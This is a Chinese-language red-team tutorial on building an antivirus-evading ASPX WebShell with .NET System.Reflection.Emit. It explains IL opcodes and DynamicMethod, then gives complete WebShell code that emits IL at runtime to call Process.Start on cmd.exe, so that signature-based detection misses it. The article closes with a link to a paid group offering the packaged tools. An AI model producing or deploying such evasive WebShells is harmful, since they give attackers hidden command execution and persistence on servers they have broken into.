在当下的红队攻防演练活动里,WebShell 仍旧是攻击者实现内网初始渗透落地、横向拓展渗透范围以及维持系统权限的关键手段之一。不过,随着主流杀毒软件不断更新针对传统 WebShell 的签名库,特别是对像 Process.Start 这类关键 API 的监控力度持续加大,红队面临着新的挑战——如何绕过杀毒软件的检测。
01. 剖析 Emit 技术
在此背景下,今天为大家介绍一种利用 System.Reflection.Emit 所具备的动态代码生成能力,达成免杀执行命令的方法。该方法借助 IL 动态拼装技术来执行 “cmd.exe /c whoami” 命令,在 WebShell 的应用场景中顺利完成命令执行操作,进而绕过绝大多数基于关键字符串特征匹配的防御机制。
在 .NET 框架的丰富功能体系中,System.Reflection.Emit 犹如一颗璀璨的明珠,它为开发者提供了一套强大且灵活的 API 集合,专门用于在程序运行期间动态地生成和执行代码。这一特性赋予了开发者极大的自由度,使得他们能够在程序运行时按需构建程序集、模块、类型以及方法,并通过中间语言(IL)指令来精准定义这些代码的具体行为。
1.1 深入理解IL指令
在 .NET 的编译与执行流程中,C#、VB.NET 等高级语言所编写的代码并不会直接转换为机器码,而是会经历一个中间阶段——编译成中间语言(IL)。IL 是一种面向对象的低级语言,其风格与汇编语言颇为相似。它作为 .NET 生态中的关键一环,由 .NET 公共语言运行库(CLR)中的即时(JIT)编译器在程序运行时动态地翻译成原生机器码,从而确保程序能够在不同的硬件平台上顺利执行。
从这个角度来看,IL 堪称 .NET 的汇编层。对于安全研究人员和攻击者来说,IL 就像是一扇观察程序运行细节的窗户,透过它能够洞察程序在底层的执行逻辑。而对于红队而言,IL 更是通过 System.Reflection.Emit 构造恶意行为的绝佳“注射点”。通过巧妙地操控 IL 指令,红队能够在目标系统中植入隐蔽的恶意代码,实现各种攻击目标。
IL 采用的是栈式指令集模型,这与传统的 x86 架构有着显著的区别。在 x86 架构中,运算主要依赖于寄存器,而 IL 则摒弃了这种方式,所有的操作都基于“压栈 - 弹栈”的机制来执行。具体来说,当需要使用某个数据时,先将其压入栈中;当需要对该数据进行操作时,再从栈中弹出并进行相应的处理。每条 IL 指令都精确地控制着一次操作,例如加载常量、调用方法等。而且,所有的方法都必须以 Ret 指令作为结尾,这标志着方法的执行结束并将控制权返回给调用者。
为了更好地理解 IL 指令,我们来看一个具体的例子。假设我们有以下一段简单的 .NET 代码:
Process.Start("cmd.exe","/c whoami");
这段代码的功能是启动一个命令提示符窗口并执行 whoami
命令,用于显示当前用户的身份信息。当这段代码被编译成 IL 形式时,大致如下:
ldstr "cmd.exe"
ldstr "/c whoami"
call System.Diagnostics.Process::Start(string,string)
pop
ret
这里的每一行代码都对应着一个特定的 IL 指令。ldstr
指令用于将字符串常量压入栈中,第一个 ldstr "cmd.exe"
将字符串 "cmd.exe"
压入栈,第二个 ldstr "/c whoami"
将字符串 "/c whoami"
压入栈。接着,call
指令用于调用指定的方法,这里调用的是 System.Diagnostics.Process.Start(string,string)
方法,该方法会从栈中弹出两个字符串参数并启动相应的进程。pop
指令用于弹出栈顶的元素,最后 ret
指令结束方法的执行并将控制权返回。
这些 OpCodes(操作码)就用 DynamicMethod
或 ILGenerator.Emit()
时所发出的“指令语句”。通过组合这些指令,我们可以构建出各种复杂的逻辑。
对于红队来说,掌握 IL 指令就如同掌握了一门针对 .NET 的“武装汇编语言”。利用 System.Reflection.Emit 技术,红队可以无中生有地生成任意函数逻辑。这种动态生成代码的能力使得红队能够轻松地绕过一切静态检测规则。因为静态检测通常是基于代码的固定特征进行分析的,而动态生成的代码在编译时并不存在,只有在运行时才会被创建和执行,所以静态检测工具很难发现其中的恶意行为。
1.2 动态方法
DynamicMethod 本质上是一种轻量级的托管函数定义方式,它与常规方法有着显著的区别。常规方法通常依赖于程序集或模块文件,这些文件会被写入磁盘,在程序加载时被读取和解析。而 DynamicMethod 则完全摆脱了对程序集或模块文件的依赖,它不需要将代码写入磁盘,所有的定义和执行过程都在内存中完成。这种特性使得 DynamicMethod 生成的代码更加隐蔽,难以被传统的磁盘扫描工具发现。
此外,常规方法在定义和调用过程中需要经过一系列复杂的加载和解析步骤,而 DynamicMethod 可以通过委托快速绑定并调用。委托是一种引用方法的类型,它提供了一种将方法作为参数传递、存储和调用的机制。通过将 DynamicMethod 与委托相结合,开发者可以在内存中快速创建并执行方法,大大提高了代码的执行效率和灵活性。
DynamicMethod 的构造过程相对简洁而高效。首先,我们使用以下代码创建一个 DynamicMethod 实例:
var method =newDynamicMethod("MyMethod", returnType, parameterTypes, ownerModule);
在这个构造函数中,"MyMethod"
是为动态方法指定的名称,虽然这个名称在运行时并不会对方法的执行产生实质性的影响,但它可以用于调试和标识。returnType
指定了方法的返回类型,parameterTypes
是一个数组,用于指定方法的参数类型,ownerModule
则指定了方法所属的模块,通常可以设置为 typeof(SomeType).Module
的形式。
创建好 DynamicMethod 实例后,我们通过调用 GetILGenerator()
方法获取一个 ILGenerator 实例。ILGenerator 就像是一位技艺高超的汇编语言工匠,它提供了类似汇编语言的操作码(OpCodes)接口。通过这个接口,我们可以逐条发出 MSIL(Microsoft Intermediate Language)指令,实现对方法逻辑的精细控制和各种 API 的调用。例如,我们可以使用 ldstr
指令加载字符串常量,使用 call
指令调用其他方法,使用 ret
指令结束方法的执行等。通过巧妙地组合这些指令,我们可以在内存中构建出任意复杂的逻辑,实现各种恶意或合法的功能。
02. Emit 最佳实践
下面,我们将借助一个具体且详细的示例,深入剖析如何巧妙运用 DynamicMethod 和 ILGenerator 来动态构建方法,进而实现启动系统进程的操作,以此展示一种极具隐蔽性的 WebShell 实现方式。
<%@ Import Namespace="System.Reflection.Emit"%>
<script runat="server" language="c#">
voidPage_load(){
// 创建一个名为"Main"的动态方法,该方法无返回值且无参数
var method =newDynamicMethod("Main",null, Type.EmptyTypes);
// 获取该动态方法的 IL 代码生成器
var ilGenerator = method.GetILGenerator();
// 插入一条无操作指令,在某些情况下可用于填充或调试对齐
ilGenerator.Emit(OpCodes.Nop);
// 将字符串"cmd.exe"压入计算栈
ilGenerator.Emit(OpCodes.Ldstr,"cmd.exe");
// 将字符串"/c winver"压入计算栈
ilGenerator.Emit(OpCodes.Ldstr,"/c winver");
// 调用 System.Diagnostics.Process 类的 Start 方法,该方法接受两个字符串参数
ilGenerator.Emit(OpCodes.Call,typeof(System.Diagnostics.Process).GetMethod("Start",
newType[]{typeof(string),typeof(string)}));
// 弹出计算栈顶的元素(Process.Start 方法返回的值,此处无实际用途)
ilGenerator.Emit(OpCodes.Pop);
// 方法返回指令,结束当前方法的执行
ilGenerator.Emit(OpCodes.Ret);
// 将动态方法创建为 Action 委托类型的实例
var helloWorldMethod = method.CreateDelegate(typeof(Action))asAction;
// 调用委托,执行动态方法
helloWorldMethod.Invoke();
}
</script>
这段代码的核心在于利用 DynamicMethod 创建了一个匿名方法。DynamicMethod 是 System.Reflection.Emit 命名空间下的一个强大类,它允许在运行时动态创建方法,且这些方法不依赖于传统的程序集或模块文件,完全在内存中定义和执行。
首先,通过 new DynamicMethod("Main", null, Type.EmptyTypes)
创建了一个名为 "Main" 的动态方法,该方法没有返回值(null
表示返回类型为 void)且不接受任何参数(Type.EmptyTypes
表示参数类型数组为空)。
接着,使用 GetILGenerator()
方法获取该动态方法的 IL 代码生成器 ilGenerator
。IL(Intermediate Language)是 .NET 框架中的中间语言,类似于汇编语言,通过它可以精确控制方法的执行逻辑。
在 IL 指令生成部分:
ilGenerator.Emit(OpCodes.Nop)
插入一条无操作指令,这条指令本身不执行任何实际操作,但在某些情况下可用于代码填充或调试对齐。
ilGenerator.Emit(OpCodes.Ldstr, "cmd.exe")
和
ilGenerator.Emit(OpCodes.Ldstr, "/c winver")
分别将字符串 "cmd.exe" 和 "/c winver" 压入计算栈。计算栈是 IL 执行过程中的一个重要数据结构,用于存储操作数和中间结果。ilGenerator.Emit(OpCodes.Call, typeof(System.Diagnostics.Process).GetMethod("Start", new Type[]{typeof(string), typeof(string)}))
调用 System.Diagnostics.Process 类的 Start 方法。这里通过反射获取 Start 方法,该方法接受两个字符串参数,分别是要启动的进程名称和命令行参数。
ilGenerator.Emit(OpCodes.Pop)
弹出计算栈顶的元素,即 Process.Start 方法返回的值。由于我们并不关心这个返回值,所以使用 Pop 指令将其丢弃。
ilGenerator.Emit(OpCodes.Ret)
是方法返回指令,标志着当前方法的执行结束,将控制权返回给调用者。
最后,通过 method.CreateDelegate(typeof(Action)) as Action
将动态方法创建为 Action 委托类型的实例,然后调用 helloWorldMethod.Invoke()
执行该委托,从而触发动态方法的执行。
当这段代码在服务器上执行时,它会成功调用 cmd.exe /c winver
命令,启动系统版本信息窗口。这一过程悄无声息地绕过了安全检测,展示了 Emit 技术在构建隐蔽 WebShell 方面的强大能力和潜在威胁,如下图所示。
03.NET安全扩展学习
文/章/涉/及/的/工/具/已/打/包,请//加//入//后/下//载:https://wx.zsxq.com/group/51121224455454